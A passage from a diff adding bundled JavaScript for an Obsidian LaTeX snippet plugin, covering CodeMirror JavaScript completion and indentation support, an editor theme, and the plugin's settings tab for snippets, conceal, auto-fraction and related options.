"while", + detail: "loop", + type: "keyword" + }), + /* @__PURE__ */ (0, import_autocomplete.snippetCompletion)("try {\n ${}\n} catch (${error}) {\n ${}\n}", { + label: "try", + detail: "/ catch block", + type: "keyword" + }), + /* @__PURE__ */ (0, import_autocomplete.snippetCompletion)("if (${}) {\n ${}\n}", { + label: "if", + detail: "block", + type: "keyword" + }), + /* @__PURE__ */ (0, import_autocomplete.snippetCompletion)("if (${}) {\n ${}\n} else {\n ${}\n}", { + label: "if", + detail: "/ else block", + type: "keyword" + }), + /* @__PURE__ */ (0, import_autocomplete.snippetCompletion)("class ${name} {\n constructor(${params}) {\n ${}\n }\n}", { + label: "class", + detail: "definition", + type: "keyword" + }), + /* @__PURE__ */ (0, import_autocomplete.snippetCompletion)('import {${names}} from "${module}"\n${}', { + label: "import", + detail: "named", + type: "keyword" + }), + /* @__PURE__ */ (0, import_autocomplete.snippetCompletion)('import ${name} from "${module}"\n${}', { + label: "import", + detail: "default", + type: "keyword" + }) +]; +var cache = /* @__PURE__ */ new NodeWeakMap(); +var ScopeNodes = /* @__PURE__ */ new Set([ + "Script", + "Block", + "FunctionExpression", + "FunctionDeclaration", + "ArrowFunction", + "MethodDeclaration", + "ForStatement" +]); +function defID(type) { + return (node, def) => { + let id2 = node.node.getChild("VariableDefinition"); + if (id2) + def(id2, type); + return true; + }; +} +var functionContext = ["FunctionDeclaration"]; +var gatherCompletions = { + FunctionDeclaration: /* @__PURE__ */ defID("function"), + ClassDeclaration: /* @__PURE__ */ defID("class"), + ClassExpression: () => true, + EnumDeclaration: /* @__PURE__ */ defID("constant"), + TypeAliasDeclaration: /* @__PURE__ */ defID("type"), + NamespaceDeclaration: /* @__PURE__ */ defID("namespace"), + VariableDefinition(node, def) { + if (!node.matchContext(functionContext)) + def(node, "variable"); + }, + TypeDefinition(node, def) { + def(node, "type"); + }, + __proto__: null +}; +function getScope(doc, node) { + let cached = cache.get(node); + if (cached) + return cached; + let completions = [], top2 = true; + function def(node2, type) { + let name = doc.sliceString(node2.from, node2.to); + completions.push({ label: name, type }); + } + node.cursor(IterMode.IncludeAnonymous).iterate((node2) => { + if (top2) { + top2 = false; + } else if (node2.name) { + let gather = gatherCompletions[node2.name]; + if (gather && gather(node2, def) || ScopeNodes.has(node2.name)) + return false; + } else if (node2.to - node2.from > 8192) { + for (let c of getScope(doc, node2.node)) + completions.push(c); + return false; + } + }); + cache.set(node, completions); + return completions; +} +var Identifier = /^[\w$\xa1-\uffff][\w$\d\xa1-\uffff]*$/; +var dontComplete = [ + "TemplateString", + "String", + "RegExp", + "LineComment", + "BlockComment", + "VariableDefinition", + "TypeDefinition", + "Label", + "PropertyDefinition", + "PropertyName", + "PrivatePropertyDefinition", + "PrivatePropertyName" +]; +function localCompletionSource(context) { + let inner = (0, import_language.syntaxTree)(context.state).resolveInner(context.pos, -1); + if (dontComplete.indexOf(inner.name) > -1) + return null; + let isWord = inner.to - inner.from < 20 && Identifier.test(context.state.sliceDoc(inner.from, inner.to)); + if (!isWord && !context.explicit) + return null; + let options = []; + for (let pos = inner; pos; pos = pos.parent) { + if (ScopeNodes.has(pos.name)) + options = options.concat(getScope(context.state.doc, pos)); + } + return { + options, + from: isWord ? inner.from : context.pos, + validFor: Identifier + }; +} +var javascriptLanguage = /* @__PURE__ */ import_language.LRLanguage.define({ + parser: /* @__PURE__ */ parser.configure({ + props: [ + /* @__PURE__ */ import_language.indentNodeProp.add({ + IfStatement: /* @__PURE__ */ (0, import_language.continuedIndent)({ except: /^\s*({|else\b)/ }), + TryStatement: /* @__PURE__ */ (0, import_language.continuedIndent)({ except: /^\s*({|catch\b|finally\b)/ }), + LabeledStatement: import_language.flatIndent, + SwitchBody: (context) => { + let after = context.textAfter, closed = /^\s*\}/.test(after), isCase = /^\s*(case|default)\b/.test(after); + return context.baseIndent + (closed ? 0 : isCase ? 1 : 2) * context.unit; + }, + Block: /* @__PURE__ */ (0, import_language.delimitedIndent)({ closing: "}" }), + ArrowFunction: (cx) => cx.baseIndent + cx.unit, + "TemplateString BlockComment": () => null, + "Statement Property": /* @__PURE__ */ (0, import_language.continuedIndent)({ except: /^{/ }), + JSXElement(context) { + let closed = /^\s*<\//.test(context.textAfter); + return context.lineIndent(context.node.from) + (closed ? 0 : context.unit); + }, + JSXEscape(context) { + let closed = /\s*\}/.test(context.textAfter); + return context.lineIndent(context.node.from) + (closed ? 0 : context.unit); + }, + "JSXOpenTag JSXSelfClosingTag"(context) { + return context.column(context.node.from) + context.unit; + } + }), + /* @__PURE__ */ import_language.foldNodeProp.add({ + "Block ClassBody SwitchBody EnumBody ObjectExpression ArrayExpression": import_language.foldInside, + BlockComment(tree) { + return { from: tree.from + 2, to: tree.to - 2 }; + } + }) + ] + }), + languageData: { + closeBrackets: { brackets: ["(", "[", "{", "'", '"', "`"] }, + commentTokens: { line: "//", block: { open: "/*", close: "*/" } }, + indentOnInput: /^\s*(?:case |default:|\{|\}|<\/)$/, + wordChars: "$" + } +}); +var typescriptLanguage = /* @__PURE__ */ javascriptLanguage.configure({ dialect: "ts" }); +var jsxLanguage = /* @__PURE__ */ javascriptLanguage.configure({ dialect: "jsx" }); +var tsxLanguage = /* @__PURE__ */ javascriptLanguage.configure({ dialect: "jsx ts" }); +var keywords = /* @__PURE__ */ "break case const continue default delete export extends false finally in instanceof let new return static super switch this throw true typeof var yield".split(" ").map((kw) => ({ label: kw, type: "keyword" })); +function javascript(config2 = {}) { + let lang = config2.jsx ? config2.typescript ? tsxLanguage : jsxLanguage : config2.typescript ? typescriptLanguage : javascriptLanguage; + return new import_language.LanguageSupport(lang, [ + javascriptLanguage.data.of({ + autocomplete: (0, import_autocomplete.ifNotIn)(dontComplete, (0, import_autocomplete.completeFromList)(snippets.concat(keywords))) + }), + javascriptLanguage.data.of({ + autocomplete: localCompletionSource + }), + config2.jsx ? autoCloseTags : [] + ]); +} +function elementName(doc, tree, max2 = doc.length) { + if (!tree) + return ""; + let name = tree.getChild("JSXIdentifier"); + return name ? doc.sliceString(name.from, Math.min(name.to, max2)) : ""; +} +var android = typeof navigator == "object" && /* @__PURE__ */ /Android\b/.test(navigator.userAgent); +var autoCloseTags = /* @__PURE__ */ import_view.EditorView.inputHandler.of((view, from, to, text) => { + if ((android ? view.composing : view.compositionStarted) || view.state.readOnly || from != to || text != ">" && text != "/" || !javascriptLanguage.isActiveAt(view.state, from, -1)) + return false; + let { state } = view; + let changes = state.changeByRange((range) => { + var _a, _b, _c; + let { head } = range, around = (0, import_language.syntaxTree)(state).resolveInner(head, -1), name; + if (around.name == "JSXStartTag") + around = around.parent; + if (text == ">" && around.name == "JSXFragmentTag") { + return { range: import_state.EditorSelection.cursor(head + 1), changes: { from: head, insert: `><>` } }; + } else if (text == ">" && around.name == "JSXIdentifier") { + if (((_b = (_a = around.parent) === null || _a === void 0 ? void 0 : _a.lastChild) === null || _b === void 0 ? void 0 : _b.name) != "JSXEndTag" && (name = elementName(state.doc, around.parent, head))) + return { range: import_state.EditorSelection.cursor(head + 1), changes: { from: head, insert: `>` } }; + } else if (text == "/" && around.name == "JSXFragmentTag") { + let empty = around.parent, base = empty === null || empty === void 0 ? void 0 : empty.parent; + if (empty.from == head - 1 && ((_c = base.lastChild) === null || _c === void 0 ? void 0 : _c.name) != "JSXEndTag" && (name = elementName(state.doc, base === null || base === void 0 ? void 0 : base.firstChild, head))) { + let insert = `/${name}>`; + return { range: import_state.EditorSelection.cursor(head + insert.length), changes: { from: head, insert } }; + } + } + return { range }; + }); + if (changes.changes.empty) + return false; + view.dispatch(changes, { userEvent: "input.type", scrollIntoView: true }); + return true; +}); + +// src/settings/ui/snippets_editor/extensions.ts +var import_language3 = require("@codemirror/language"); +var import_commands = require("@codemirror/commands"); +var import_autocomplete2 = require("@codemirror/autocomplete"); +var import_search = require("@codemirror/search"); +var import_lint = require("@codemirror/lint"); + +// src/settings/ui/snippets_editor/obsidian_theme.ts +var import_view2 = require("@codemirror/view"); +var import_language2 = require("@codemirror/language"); +var import_highlight2 = require("@lezer/highlight"); +var config = { + name: "obsidian", + dark: false, + background: "var(--background-primary)", + foreground: "var(--text-normal)", + selection: "var(--text-selection)", + cursor: "var(--text-normal)", + dropdownBackground: "var(--background-primary)", + dropdownBorder: "var(--background-modifier-border)", + activeLine: "var(--background-primary)", + matchingBracket: "var(--background-modifier-accent)", + keyword: "#d73a49", + storage: "#d73a49", + variable: "var(--text-normal)", + parameter: "var(--text-accent-hover)", + function: "var(--text-accent-hover)", + string: "var(--text-accent)", + constant: "var(--text-accent-hover)", + type: "var(--text-accent-hover)", + class: "#6f42c1", + number: "var(--text-accent-hover)", + comment: "var(--text-faint)", + heading: "var(--text-accent-hover)", + invalid: "var(--text-error)", + regexp: "var(--text-accent)" +}; +var obsidianTheme = import_view2.EditorView.theme({ + "&": { + color: config.foreground, + backgroundColor: config.background + }, + ".cm-content": { caretColor: config.cursor }, + "&.cm-focused .cm-cursor": { borderLeftColor: config.cursor }, + "&.cm-focused .cm-selectionBackground, .cm-selectionBackground, & ::selection": { backgroundColor: config.selection }, + ".cm-panels": { backgroundColor: config.dropdownBackground, color: config.foreground }, + ".cm-panels.cm-panels-top": { borderBottom: "2px solid black" }, + ".cm-panels.cm-panels-bottom": { borderTop: "2px solid black" }, + ".cm-searchMatch": { + backgroundColor: config.dropdownBackground, + outline: `1px solid ${config.dropdownBorder}` + }, + ".cm-searchMatch.cm-searchMatch-selected": { + backgroundColor: config.selection + }, + ".cm-activeLine": { backgroundColor: config.activeLine }, + ".cm-activeLineGutter": { backgroundColor: config.background }, + ".cm-selectionMatch": { backgroundColor: config.selection }, + ".cm-matchingBracket, .cm-nonmatchingBracket": { + backgroundColor: config.matchingBracket, + outline: "none" + }, + ".cm-gutters": { + backgroundColor: config.background, + color: config.comment, + borderRight: "1px solid var(--background-modifier-border)" + }, + ".cm-lineNumbers, .cm-gutterElement": { color: "inherit" }, + ".cm-foldPlaceholder": { + backgroundColor: "transparent", + border: "none", + color: config.foreground + }, + ".cm-tooltip": { + border: `1px solid ${config.dropdownBorder}`, + backgroundColor: config.dropdownBackground, + color: config.foreground + }, + ".cm-tooltip.cm-tooltip-autocomplete": { + "& > ul > li[aria-selected]": { + background: config.selection, + color: config.foreground + } + } +}, { dark: config.dark }); +var obsidianHighlightStyle = import_language2.HighlightStyle.define([ + { tag: import_highlight2.tags.keyword, color: config.keyword }, + { tag: [import_highlight2.tags.name, import_highlight2.tags.deleted, import_highlight2.tags.character, import_highlight2.tags.macroName], color: config.variable }, + { tag: [import_highlight2.tags.propertyName], color: config.function }, + { tag: [import_highlight2.tags.processingInstruction, import_highlight2.tags.string, import_highlight2.tags.inserted, import_highlight2.tags.special(import_highlight2.tags.string)], color: config.string }, + { tag: [import_highlight2.tags.function(import_highlight2.tags.variableName), import_highlight2.tags.labelName], color: config.function }, + { tag: [import_highlight2.tags.color, import_highlight2.tags.constant(import_highlight2.tags.name), import_highlight2.tags.standard(import_highlight2.tags.name)], color: config.constant }, + { tag: [import_highlight2.tags.definition(import_highlight2.tags.name), import_highlight2.tags.separator], color: config.variable }, + { tag: [import_highlight2.tags.className], color: config.class }, + { tag: [import_highlight2.tags.number, import_highlight2.tags.changed, import_highlight2.tags.annotation, import_highlight2.tags.modifier, import_highlight2.tags.self, import_highlight2.tags.namespace], color: config.number }, + { tag: [import_highlight2.tags.typeName], color: config.type, fontStyle: config.type }, + { tag: [import_highlight2.tags.operator, import_highlight2.tags.operatorKeyword], color: config.keyword }, + { tag: [import_highlight2.tags.url, import_highlight2.tags.escape, import_highlight2.tags.regexp, import_highlight2.tags.link], color: config.regexp }, + { tag: [import_highlight2.tags.meta, import_highlight2.tags.comment], color: config.comment }, + { tag: import_highlight2.tags.strong, fontWeight: "bold" }, + { tag: import_highlight2.tags.emphasis, fontStyle: "italic" }, + { tag: import_highlight2.tags.link, textDecoration: "underline" }, + { tag: import_highlight2.tags.heading, fontWeight: "bold", color: config.heading }, + { tag: [import_highlight2.tags.atom, import_highlight2.tags.bool, import_highlight2.tags.special(import_highlight2.tags.variableName)], color: config.variable }, + { tag: import_highlight2.tags.invalid, color: config.invalid }, + { tag: import_highlight2.tags.strikethrough, textDecoration: "line-through" } +]); +var obsidian = [ + obsidianTheme, + (0, import_language2.syntaxHighlighting)(obsidianHighlightStyle) +]; + +// src/settings/ui/snippets_editor/extensions.ts +var basicSetup = [ + (0, import_view3.lineNumbers)(), + (0, import_view3.highlightSpecialChars)(), + (0, import_commands.history)(), + javascript(), + (0, import_view3.drawSelection)(), + (0, import_view3.dropCursor)(), + import_state2.EditorState.allowMultipleSelections.of(true), + (0, import_language3.indentOnInput)(), + import_language3.indentUnit.of(" "), + (0, import_language3.syntaxHighlighting)(import_language3.defaultHighlightStyle, { fallback: true }), + import_view3.EditorView.lineWrapping, + (0, import_language3.bracketMatching)(), + (0, import_autocomplete2.closeBrackets)(), + (0, import_view3.rectangularSelection)(), + (0, import_search.highlightSelectionMatches)(), + obsidian, + import_view3.keymap.of([ + ...import_autocomplete2.closeBracketsKeymap, + ...import_commands.defaultKeymap, + ...import_search.searchKeymap, + ...import_commands.historyKeymap, + import_commands.indentWithTab, + ...import_lint.lintKeymap + ]) +].filter((ext) => ext); + +// src/settings/settings_tab.ts +var LatexSuiteSettingTab = class extends import_obsidian4.PluginSettingTab { + constructor(app, plugin) { + super(app, plugin); + this.plugin = plugin; + } + hide() { + var _a; + (_a = this.snippetsEditor) == null ? void 0 : _a.destroy(); + } + addHeading(containerEl, name, icon = "math") { + const heading = new import_obsidian4.Setting(containerEl).setName(name).setHeading(); + const parentEl = heading.settingEl; + const iconEl = parentEl.createDiv(); + (0, import_obsidian4.setIcon)(iconEl, icon); + iconEl.addClass("latex-suite-settings-icon"); + parentEl.prepend(iconEl); + } + display() { + const { containerEl } = this; + containerEl.empty(); + this.displaySnippetSettings(); + this.displayConcealSettings(); + this.displayColorHighlightBracketsSettings(); + this.displayPopupPreviewSettings(); + this.displayAutofractionSettings(); + this.displayMatrixShortcutsSettings(); + this.displayTaboutSettings(); + this.displayAutoEnlargeBracketsSettings(); + this.displayAdvancedSnippetSettings(); + } + displaySnippetSettings() { + const containerEl = this.containerEl; + this.addHeading(containerEl, "Snippets", "ballpen"); + new import_obsidian4.Setting(containerEl).setName("Enabled").setDesc("Whether snippets are enabled.").addToggle((toggle) => toggle.setValue(this.plugin.settings.snippetsEnabled).onChange((value) => __async(this, null, function* () { + this.plugin.settings.snippetsEnabled = value; + yield this.plugin.saveSettings(); + }))); + const snippetsSetting = new import_obsidian4.Setting(containerEl).setName("Snippets").setDesc('Enter snippets here. Remember to add a comma after each snippet, and escape all backslashes with an extra \\. Lines starting with "//" will be treated as comments and ignored.').setClass("snippets-text-area"); + this.createSnippetsEditor(snippetsSetting); + new import_obsidian4.Setting(containerEl).setName("Load snippets from file or folder").setDesc("Whether to load snippets from a specified file, or from all files within a folder (instead of from the plugin settings).").addToggle((toggle) => toggle.setValue(this.plugin.settings.loadSnippetsFromFile).onChange((value) => __async(this, null, function* () { + this.plugin.settings.loadSnippetsFromFile = value; + snippetsSetting.settingEl.toggleClass("hidden", value); + if (this.snippetsFileLocEl != void 0) + this.snippetsFileLocEl.toggleClass("hidden", !value); + yield this.plugin.saveSettings(); + }))); + const snippetsFileLocDesc = new DocumentFragment(); + snippetsFileLocDesc.createDiv({}, (div) => { + div.innerHTML = ` + The file or folder to load snippets from. The file or folder must be within your vault, and not within a hidden folder (such as .obsidian/).`; + }); + const snippetsFileLoc = new import_obsidian4.Setting(containerEl).setName("Snippets file or folder location").setDesc(snippetsFileLocDesc); + let inputEl; + snippetsFileLoc.addSearch((component) => { + component.setPlaceholder(DEFAULT_SETTINGS.snippetsFileLocation).setValue(this.plugin.settings.snippetsFileLocation).onChange((0, import_obsidian4.debounce)((value) => __async(this, null, function* () { + this.plugin.settings.snippetsFileLocation = value; + yield this.plugin.saveSettings(true); + }), 500, true)); + inputEl = component.inputEl; + inputEl.addClass("latex-suite-location-input-el"); + }); + this.snippetsFileLocEl = snippetsFileLoc.settingEl; + new FileSuggest(this.app, inputEl); + const loadSnippetsFromFile = this.plugin.settings.loadSnippetsFromFile; + snippetsSetting.settingEl.toggleClass("hidden", loadSnippetsFromFile); + this.snippetsFileLocEl.toggleClass("hidden", !loadSnippetsFromFile); + new import_obsidian4.Setting(containerEl).setName("Key trigger for non-auto snippets").setDesc("What key to press to expand non-auto snippets.").addDropdown( + (dropdown) => dropdown.addOption("Tab", "Tab").addOption(" ", "Space").setValue(this.plugin.settings.snippetsTrigger).onChange((value) => __async(this, null, function* () { + this.plugin.settings.snippetsTrigger = value; + yield this.plugin.saveSettings(); + })) + ); + } + displayConcealSettings() { + const containerEl = this.containerEl; + this.addHeading(containerEl, "Conceal", "math-integral-x"); + const fragment = new DocumentFragment(); + fragment.createDiv({}, (div) => div.setText("Make equations more readable by hiding LaTeX syntax and instead displaying it in a pretty format.")); + fragment.createDiv({}, (div) => div.innerHTML = ` + e.g. \\dot{x}^{2} + \\dot{y}^{2} will display as \u1E8B\xB2 + \u1E8F\xB2, and \\sqrt{ 1-\\beta^{2} } will display as \u221A{ 1-\u03B2\xB2 }. + `); + fragment.createDiv({}, (div) => div.setText("LaTeX beneath the cursor will be revealed.")); + fragment.createEl("br"); + fragment.createDiv({}, (div) => div.setText("Disabled by default to not confuse new users. However, I recommend turning this on once you are comfortable with the plugin!")); + new import_obsidian4.Setting(containerEl).setName("Enabled").setDesc(fragment).addToggle( + (toggle) => toggle.setValue(this.plugin.settings.concealEnabled).onChange((value) => __async(this, null, function* () { + this.plugin.settings.concealEnabled = value; + yield this.plugin.saveSettings(); + })) + ); + const fragment2 = new DocumentFragment(); + fragment2.createDiv({}, (div) => div.setText("How long to delay the reveal of LaTeX for, in milliseconds, when the cursor moves over LaTeX. Defaults to 0 (LaTeX under the cursor is revealed immediately).")); + fragment2.createEl("br"); + fragment2.createDiv({}, (div) => div.setText("Can be set to a positive number, e.g. 300, to delay the reveal of LaTeX, making it much easier to navigate equations using arrow keys.")); + fragment2.createEl("br"); + fragment2.createDiv({}, (div) => div.setText("Must be an integer \u2265 0.")); + new import_obsidian4.Setting(containerEl).setName("Reveal delay (ms)").setDesc(fragment2).addText( + (text) => text.setPlaceholder(String(DEFAULT_SETTINGS.concealRevealTimeout)).setValue(String(this.plugin.settings.concealRevealTimeout)).onChange((value) => { + const ok = /^\d+$/.test(value); + if (ok) { + this.plugin.settings.concealRevealTimeout = Number(value); + this.plugin.saveSettings(); + } + }) + ); + } + displayColorHighlightBracketsSettings() { + const containerEl = this.containerEl; + this.addHeading(containerEl, "Highlight and color brackets", "parentheses"); + new import_obsidian4.Setting(containerEl).setName("Color paired brackets").setDesc("Whether to colorize matching brackets.").addToggle((toggle) => toggle.setValue(this.plugin.settings.colorPairedBracketsEnabled).onChange((value) => __async(this, null, function* () { + this.plugin.settings.colorPairedBracketsEnabled = value; + yield this.plugin.saveSettings(); + }))); + new import_obsidian4.Setting(containerEl).setName("Highlight matching bracket beneath cursor").setDesc("When the cursor is adjacent to a bracket, highlight the matching bracket.").addToggle((toggle) => toggle.setValue(this.plugin.settings.highlightCursorBracketsEnabled).onChange((value) => __async(this, null, function* () { + this.plugin.settings.highlightCursorBracketsEnabled = value; + yield this.plugin.saveSettings(); + }))); + } + displayPopupPreviewSettings() { + const containerEl = this.containerEl; + this.addHeading(containerEl, "Math popup preview", "superscript"); + const popup_fragment = document.createDocumentFragment(); + const popup_line1 = document.createElement("div"); + popup_line1.setText("When inside an equation, show a popup preview window of the rendered math."); + const popup_space = document.createElement("br"); + const popup_line2 = document.createElement("div"); + popup_line2.setText("The popup preview will be shown for all inline math equations, as well as for block math equations in Source mode."); + popup_fragment.append(popup_line1, popup_space, popup_line2); + new import_obsidian4.Setting(containerEl).setName("Enabled").setDesc(popup_fragment).addToggle((toggle) => toggle.setValue(this.plugin.settings.mathPreviewEnabled).onChange((value) => __async(this, null, function* () { + this.plugin.settings.mathPreviewEnabled = value; + yield this.plugin.saveSettings(); + }))); + new import_obsidian4.Setting(containerEl).setName("Position").setDesc("Where to display the popup preview relative to the equation source.").addDropdown( + (dropdown) => dropdown.addOption("Above", "Above").addOption("Below", "Below").setValue(this.plugin.settings.mathPreviewPositionIsAbove ? "Above" : "Below").onChange((value) => __async(this, null, function* () { + this.plugin.settings.mathPreviewPositionIsAbove = value === "Above"; + yield this.plugin.saveSettings(); + })) + ); + } + displayAutofractionSettings() { + const containerEl = this.containerEl; + this.addHeading(containerEl, "Auto-fraction", "math-x-divide-y-2"); + new import_obsidian4.Setting(containerEl).setName("Enabled").setDesc("Whether auto-fraction is enabled.").addToggle((toggle) => toggle.setValue(this.plugin.settings.autofractionEnabled).onChange((value) => __async(this, null, function* () { + this.plugin.settings.autofractionEnabled = value; + yield this.plugin.saveSettings(); + }))); + new import_obsidian4.Setting(containerEl).setName("Fraction symbol").setDesc("The fraction symbol to use in the replacement. e.g. \\frac, \\dfrac, \\tfrac").addText((text) => text.setPlaceholder(DEFAULT_SETTINGS.autofractionSymbol).setValue(this.plugin.settings.autofractionSymbol).onChange((value) => __async(this, null, function* () { + this.plugin.settings.autofractionSymbol = value; + yield this.plugin.saveSettings(); + }))); + new import_obsidian4.Setting(containerEl).setName("Excluded environments").setDesc('A list of environments to exclude auto-fraction from running in. For example, to exclude auto-fraction from running while inside an exponent, such as e^{...}, use ["^{", "}"]').addTextArea((text) => text.setPlaceholder('[ ["^{", "}] ]').setValue(this.plugin.settings.autofractionExcludedEnvs).onChange((value) => __async(this, null, function* () { + this.plugin.settings.autofractionExcludedEnvs = value; + yield this.plugin.saveSettings(); + }))); + new import_obsidian4.Setting(containerEl).setName("Breaking characters").setDesc('A list of characters that denote the start/end of a fraction. e.g. if + is included in the list, "a+b/c" will expand to "a+\\frac{b}{c}". If + is not in the list, it will expand to "\\frac{a+b}{c}".').addText((text) => text.setPlaceholder(DEFAULT_SETTINGS.autofractionBreakingChars).setValue(this.plugin.settings.autofractionBreakingChars).onChange((value) => __async(this, null, function* () { + this.plugin.settings.autofractionBreakingChars = value; + yield this.plugin.saveSettings(); + }))); + } + displayMatrixShortcutsSettings() { + const containerEl = this.containerEl; + this.addHeading(containerEl, "Matrix shortcuts", "brackets-contain"); + new import_obsidian4.Setting(containerEl).setName("Enabled").setDesc("Whether matrix shortcuts are enabled.").addToggle((toggle) => toggle.setValue(this.plugin.settings.matrixShortcutsEnabled).onChange((value) => __async(this, null, function* () { + this.plugin.settings.matrixShortcutsEnabled = value; + yield this.plugin.saveSettings(); + }))); + new import_obsidian4.Setting(containerEl).setName("Environments").setDesc("A list of environment names to run the matrix shortcuts in, separated by commas.").addText((text) => text.setPlaceholder(DEFAULT_SETTINGS.matrixShortcutsEnvNames).setValue(this.plugin.settings.matrixShortcutsEnvNames).onChange((value) => __async(this, null, function* () { + this.plugin.settings.matrixShortcutsEnvNames = value; + yield this.plugin.saveSettings(); + }))); + } + displayTaboutSettings() { + const containerEl = this.containerEl; + this.addHeading(containerEl, "Tabout", "tabout"); + new import_obsidian4.Setting(containerEl).setName("Enabled").setDesc("Whether tabout is enabled.").addToggle((toggle) => toggle.setValue(this.plugin.settings.taboutEnabled).onChange((value) => __async(this, null, function* () { + this.plugin.settings.taboutEnabled = value; + yield this.plugin.saveSettings(); + }))); + } + displayAutoEnlargeBracketsSettings() { + const containerEl = this.containerEl; + this.addHeading(containerEl, "Auto-enlarge brackets", "parentheses"); + new import_obsidian4.Setting(containerEl).setName("Enabled").setDesc("Whether to automatically enlarge brackets containing e.g. sum, int, frac.").addToggle((toggle) => toggle.setValue(this.plugin.settings.autoEnlargeBrackets).onChange((value) => __async(this, null, function* () { + this.plugin.settings.autoEnlargeBrackets = value; + yield this.plugin.saveSettings(); + }))); + new import_obsidian4.Setting(containerEl).setName("Triggers").setDesc("A list of symbols that should trigger auto-enlarge brackets, separated by commas.").addText((text) => text.setPlaceholder(DEFAULT_SETTINGS.autoEnlargeBracketsTriggers).setValue(this.plugin.settings.autoEnlargeBracketsTriggers).onChange((value) => __async(this, null, function* () { + this.plugin.settings.autoEnlargeBracketsTriggers = value; + yield this.plugin.saveSettings(); + }))); + } + displayAdvancedSnippetSettings() { + const containerEl = this.containerEl; + this.addHeading(containerEl, "Advanced snippet settings"); + const snippetVariablesSetting = new import_obsidian4.Setting(containerEl).setName("Snippet variables").setDesc("Assign snippet variables that can be used as shortcuts when writing snippets.").addTextArea((text) => text.setValue(this.plugin.settings.snippetVariables).onChange((value) => __async(this, null, function* () { + this.plugin.settings.snippetVariables = value; + yield this.plugin.saveSettings(); + })).setPlaceholder(DEFAULT_SETTINGS.snippetVariables)).setClass("latex-suite-snippet-variables-setting"); + new import_obsidian4.Setting(containerEl).setName("Load snippet variables from file or folder").setDesc("Whether to load snippet variables from a specified file, or from all files within a folder (instead of from the plugin settings).").addToggle((toggle) => toggle.setValue(this.plugin.settings.loadSnippetVariablesFromFile).onChange((value) => __async(this, null, function* () { + this.plugin.settings.loadSnippetVariablesFromFile = value; + snippetVariablesSetting.settingEl.toggleClass("hidden", value); + if (this.snippetVariablesFileLocEl != void 0) + this.snippetVariablesFileLocEl.toggleClass("hidden", !value); + yield this.plugin.saveSettings(); + }))); + const snippetVariablesFileLocDesc = new DocumentFragment(); + snippetVariablesFileLocDesc.createDiv({}, (div) => { + div.innerHTML = ` + The file or folder to load snippet variables from. The file or folder must be within your vault, and not within a hidden folder (such as .obsidian/).`; + }); + const snippetVariablesFileLoc = new import_obsidian4.Setting(containerEl).setName("Snippet variables file or folder location").setDesc(snippetVariablesFileLocDesc); + let inputVariablesEl; + snippetVariablesFileLoc.addSearch( + (component) => { + component.setPlaceholder(DEFAULT_SETTINGS.snippetVariablesFileLocation).setValue(this.plugin.settings.snippetVariablesFileLocation).onChange((0, import_obsidian4.debounce)((value) => __async(this, null, function* () { + this.plugin.settings.snippetVariablesFileLocation = value; + yield this.plugin.saveSettings(true); + }), 500, true)); + inputVariablesEl = component.inputEl; + inputVariablesEl.addClass("latex-suite-location-input-el"); + } + ); + this.snippetVariablesFileLocEl = snippetVariablesFileLoc.settingEl; + new FileSuggest(this.app, inputVariablesEl); + const loadSnippetVariablesFromFile = this.plugin.settings.loadSnippetVariablesFromFile; + snippetVariablesSetting.settingEl.toggleClass("hidden", loadSnippetVariablesFromFile); + this.snippetVariablesFileLocEl.toggleClass("hidden", !loadSnippetVariablesFromFile); + new import_obsidian4.Setting(containerEl).setName("Word delimiters").setDesc('Symbols that will be treated as word delimiters, for use with the "w" snippet option.').addText((text) => text.setPlaceholder(DEFAULT_SETTINGS.wordDelimiters).setValue(this.plugin.settings.wordDelimiters).onChange((value) => __async(this, null, function* () { + this.plugin.settings.wordDelimiters = value; + yield this.plugin.saveSettings(); + }))); + new import_obsidian4.Setting(containerEl).setName("Remove trailing whitespaces in snippets in inline math").setDesc("Whether to remove trailing whitespaces when expanding snippets at the end of inline math blocks.").addToggle((toggle) => toggle.setValue(this.plugin.settings.removeSnippetWhitespace).onChange((value) => __async(this, null, function* () { + this.plugin.settings.removeSnippetWhitespace = value; + yield this.plugin.saveSettings(); + }))); + new import_obsidian4.Setting(containerEl).setName("Remove closing $ when backspacing inside blank inline math").setDesc("Whether to also remove the closing $ when you delete the opening $ symbol inside blank inline math.").addToggle((toggle) => toggle.setValue(this.plugin.settings.autoDelete$).onChange((value) => __async(this, null, function* () { + this.plugin.settings.autoDelete$ = value; + yield this.plugin.saveSettings(); + }))); + new import_obsidian4.Setting(containerEl).setName("Don't trigger snippets when IME is active").setDesc("Whether to suppress snippets triggering when an IME is active.").addToggle( + (toggle) => toggle.setValue(this.plugin.settings.suppressSnippetTriggerOnIME).onChange((value) => __async(this, null, function* () { + this.plugin.settings.suppressSnippetTriggerOnIME = value; + yield this.plugin.saveSettings(); + })) + ); + new import_obsidian4.Setting(containerEl).setName("Code languages to interpret as math mode").setDesc("Codeblock languages where the whole code block should be treated like a math block, separated by commas.").addText((text) => text.setPlaceholder(DEFAULT_SETTINGS.forceMathLanguages).setValue(this.plugin.settings.forceMathLanguages).onChange((value) => __async(this, null, function* () { + this.plugin.settings.forceMathLanguages = value; + yield this.plugin.saveSettings(); + }))); + } + createSnippetsEditor(snippetsSetting) { + const customCSSWrapper = snippetsSetting.controlEl.createDiv("snippets-editor-wrapper"); + const snippetsFooter = snippetsSetting.controlEl.createDiv("snippets-footer"); + const validity = snippetsFooter.createDiv("snippets-editor-validity"); + const validityIndicator = new import_obsidian4.ExtraButtonComponent(validity); + validityIndicator.setIcon("checkmark").extraSettingsEl.addClass("snippets-editor-validity-indicator"); + const validityText = validity.createDiv("snippets-editor-validity-text"); + validityText.addClass("setting-item-description"); + validityText.style.padding = "0"; + function updateValidityIndicator(success) { + validityIndicator.setIcon(success ? "checkmark" : "cross"); + validityIndicator.extraSettingsEl.removeClass(success ? "invalid" : "valid"); + validityIndicator.extraSettingsEl.addClass(success ? "valid" : "invalid"); + validityText.setText(success ? "Saved" : "Invalid syntax. Changes not saved"); + } + const extensions = basicSetup; + const change = import_view4.EditorView.updateListener.of((v) => __async(this, null, function* () { + if (v.docChanged) { + const snippets2 = v.state.doc.toString(); + let success = true; + let snippetVariables; + try { + snippetVariables = yield parseSnippetVariables(this.plugin.settings.snippetVariables); + yield parseSnippets(snippets2, snippetVariables); + } catch (e) { + success = false; + } + updateValidityIndicator(success); + if (!success) + return; + this.plugin.settings.snippets = snippets2; + yield this.plugin.saveSettings(); + } + })); + extensions.push(change); + this.snippetsEditor = createCMEditor(this.plugin.settings.snippets, extensions); + customCSSWrapper.appendChild(this.snippetsEditor.dom); + const buttonsDiv = 